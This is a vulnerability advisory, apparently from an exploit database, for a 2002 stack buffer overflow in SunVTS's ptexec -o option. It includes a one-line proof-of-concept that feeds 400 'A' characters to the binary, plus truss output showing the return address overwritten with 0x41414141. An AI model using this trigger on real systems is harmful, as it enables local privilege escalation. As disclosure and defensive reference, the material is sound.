SunVTS -o Buffer Overflow

vendor:

SunVTS

by:

SecurityFocus

7.2

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: SunVTS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2002

A buffer overflow in the -o of the ptexec command exists. It is possible for a local user to overwrite stack memory, including the return address. This makes it possible for a local user to gain elevated privileges, and potentially full administrative access.

Mitigation:

Upgrade to the latest version of SunVTS

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/2898/info

SunVTS is the Sun Validation Test Suite, distributed and maintained by Sun Microsystems. The SunVTS is used to test various components of OEM Sun hardware, and can also be used to stress-test components and sub-components.

A buffer overflow in the -o of the ptexec command exists. It is possible for a local user to overwrite stack memory, including the return address.

This makes it possible for a local user to gain elevated privileges, and potentially full administrative access. 

# > .sunvts_sec_gss
# /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`
Segmentation Fault (core dumped)

# truss /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`

execve("/opt/SUNWvts/bin/ptexec", 0xFFBEFA44, 0xFFBEFA54) argc = 3
stat("/opt/SUNWvts/bin/ptexec", 0xFFBEF780) = 0
open("/var/ld/ld.config", O_RDONLY) Err#2 ENOENT
open("/usr/lib/librpcsvc.so.1", O_RDONLY) = 3
fstat(3, 0xFFBEF518) = 0
mmap(0x00000000, 8192, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xFF3A0000

[.....]

sigprocmask(SIG_SETMASK, 0xFF23F010, 0x00000000) = 0
sigaction(SIGSEGV, 0xFFBEE388, 0x00000000) = 0
sigprocmask(SIG_SETMASK, 0xFF24ADE0, 0x00000000) = 0
setcontext(0xFFBEE248)
Incurred fault #6, FLTBOUNDS %pc = 0xFF139FF0
siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
Received signal #11, SIGSEGV [default]
siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
*** process killed ***